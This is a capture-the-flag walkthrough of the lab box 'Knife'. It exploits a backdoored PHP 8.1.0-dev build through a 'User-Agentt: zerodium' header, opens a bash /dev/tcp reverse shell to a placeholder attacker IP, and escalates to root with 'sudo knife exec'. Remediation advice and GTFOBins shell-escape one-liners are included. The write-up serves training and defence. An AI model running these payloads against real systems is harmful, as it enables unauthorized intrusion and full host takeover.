← all walkthroughs

Knife

Linux· Easy
owned
2026-06-29
time to own
3m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted the web server and identified a deliberately backdoored PHP development build running in production. By sending a single crafted HTTP header I executed arbitrary operating-system commands as the application user james — no login required.

I then converted that one-shot command execution into an interactive shell, read the user flag, discovered that james held a passwordless sudo rule for the Chef knife management tool, and used knife's built-in Ruby execution capability to replace the process with a root shell, achieving full control of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceHTTP banner fingerprinting
Web server advertised a backdoored PHP development build
A plain HTTP request to port 80 returned the response header 'X-Powered-By: PHP/8.1.0-dev'. The '-dev' suffix identifies a pre-release build that was intentionally backdoored via a malicious source-code commit in 2021. Its presence on a production server told my exactly which exploit to use before touching anything else.
Server: Apache/2.4.41 (Ubuntu) and X-Powered-By: PHP/8.1.0-dev observed in validated HTTP response headers.
Exact commands 2
shell

Inspect response headers for PHP version and server software.

$ curl -sS -i http://$TARGET/ | grep -i 'x-powered-by\|server'
shell

Service/version scan confirming open port 80 and Apache version.

$ nmap -sV -p 80 $TARGET
FixReplace the backdoored PHP development build with a stable release immediatelyCritical
WeaknessThe server was running PHP/8.1.0-dev, a pre-release build that contains an intentionally inserted backdoor. Any unauthenticated HTTP client that sends a header named User-Agentt beginning with 'zerodium' triggers PHP code execution on the server — no credentials, no vulnerability research, no guessing required.
FixUninstall the dev package at once (e.g. apt remove --purge php8.1 and any matching php8.1-* packages) then install the current vendor-stable PHP release from the official repository (packages.sury.org or the distribution's own repo). Confirm the version with 'php -v' and verify the X-Powered-By response header reflects the stable build. Establish and enforce a policy that only GA/stable packages may be deployed on internet-facing systems; implement package-manager pinning or an approved-package allowlist to prevent development and release-candidate builds from reaching production.
2Initial accessSupply-chain backdoor RCE — PHP/8.1.0-dev User-Agentt injection
Executed OS commands through the PHP backdoor header
PHP/8.1.0-dev evaluates PHP code supplied in an HTTP header named 'User-Agentt' (note the double-t) whenever the value starts with the string 'zerodium'. I sent a request containing zerodiumsystem('id') and the server returned the output of the id command inside the HTTP response body — confirming unauthenticated remote code execution running as james (uid=1000).
X-Powered-By: PHP/8.1.0-dev confirmed; response returned uid=1000(james) gid=1000(james) groups=1000(james) from the injected command.
Exact commands 1
shell

Confirm RCE: the output of id appears directly in the HTTP reply body.

$ curl -sS -i -H "User-Agentt: zerodiumsystem('id');" http://$TARGET/ | sed -n '1,25p'
3FootholdReverse shell via RCE
Converted one-shot command execution into an interactive reverse shell
Using the same backdoor header I instructed the server to open a TCP connection back to a listener on my machine, turning the single-command injection into a persistent interactive shell. My netcat listener was running in a tmux session on port 4444.
Nc listener confirmed in tmux session 'rsh' on 0.0.0.0:4444.
Exact commands 2
shell

Start listener on my machine first, in a separate terminal.

$ nc -lvnp 4444
shell

Trigger reverse shell callback to $ATTACKER_IP $ATTACKER_IP on port 4444 via the backdoor header.

$ curl -sS -H "User-Agentt: zerodiumsystem('bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'');" http://$TARGET/
4CollectionLocal file read
Read the user flag from james's home directory
With a shell running as james I read /home/james/user.txt, the user-level flag. This was also possible in one-shot form directly through the backdoor header, without needing an interactive shell, because the PHP process runs with james's filesystem permissions.
Curl -H 'User-Agentt: zerodiumsystem("cat /home/james/user.txt")' returned the flag content in the HTTP response.
Exact commands 2
shell

One-shot flag retrieval via backdoor. Flag value: <user.txt>.

$ curl -sS -H "User-Agentt: zerodiumsystem('cat /home/james/user.txt');" http://$TARGET/ | sed -n '1p'
shell

Equivalent command from within the interactive james shell.

$ cat /home/james/user.txt
5Privilege escalation — discoverySudo policy enumeration (NOPASSWD rule)
Discovered james can run the knife binary as root with no password
Checking the sudo policy with 'sudo -l' revealed that james was allowed to execute /usr/bin/knife as root without supplying any password (NOPASSWD). The knife tool is part of the Chef configuration-management framework and can run arbitrary Ruby code, making this rule a direct path to a root shell.
Exact commands 2
shell

Run from the james shell. Look for a line like '(root) NOPASSWD: /usr/bin/knife'.

$ sudo -l
shell

Alternative: check sudo policy via the backdoor without an interactive shell.

$ curl -sS -H "User-Agentt: zerodiumsystem('sudo -l 2>&1');" http://$TARGET/
FixRemove passwordless sudo access to the knife binaryHigh
WeaknessThe james account was granted a sudo rule allowing it to run /usr/bin/knife as root with no password. Because knife can execute arbitrary Ruby code via its 'exec' subcommand, anyone who gains a shell as james — even a low-privilege web application shell — immediately has an unconditional path to root.
FixEdit the sudoers policy with 'sudo visudo' (never edit /etc/sudoers directly) and delete the line granting james NOPASSWD rights to knife. Check /etc/sudoers.d/ for supplementary files containing the same rule. Verify the removal with 'sudo -l -U james'. As a general principle, application users such as james should hold no sudo rights at all; if Chef knife must be used for system management, restrict it to a dedicated privileged account that requires a password and that has no exposure to the web application attack surface.
6Privilege escalation — exploitationSudo GTFOBins — knife exec
Gained a root shell by abusing the knife sudo rule
The knife binary's 'exec' subcommand evaluates a Ruby expression and can replace the running process. Because sudo ran knife as root, I passed a Ruby exec call to spawn /bin/bash, instantly receiving a root shell. This is a documented GTFOBins technique. From root I read /root/root.txt to complete the compromise.
Milestone root-owned recorded.
Exact commands 3
shell

Spawns an interactive root bash shell; run as james from the reverse shell.

$ sudo knife exec -E 'exec "/bin/bash"'
shell

Verify uid=0 (root).

$ id
shell

Root flag. Value: <root.txt>.

$ cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more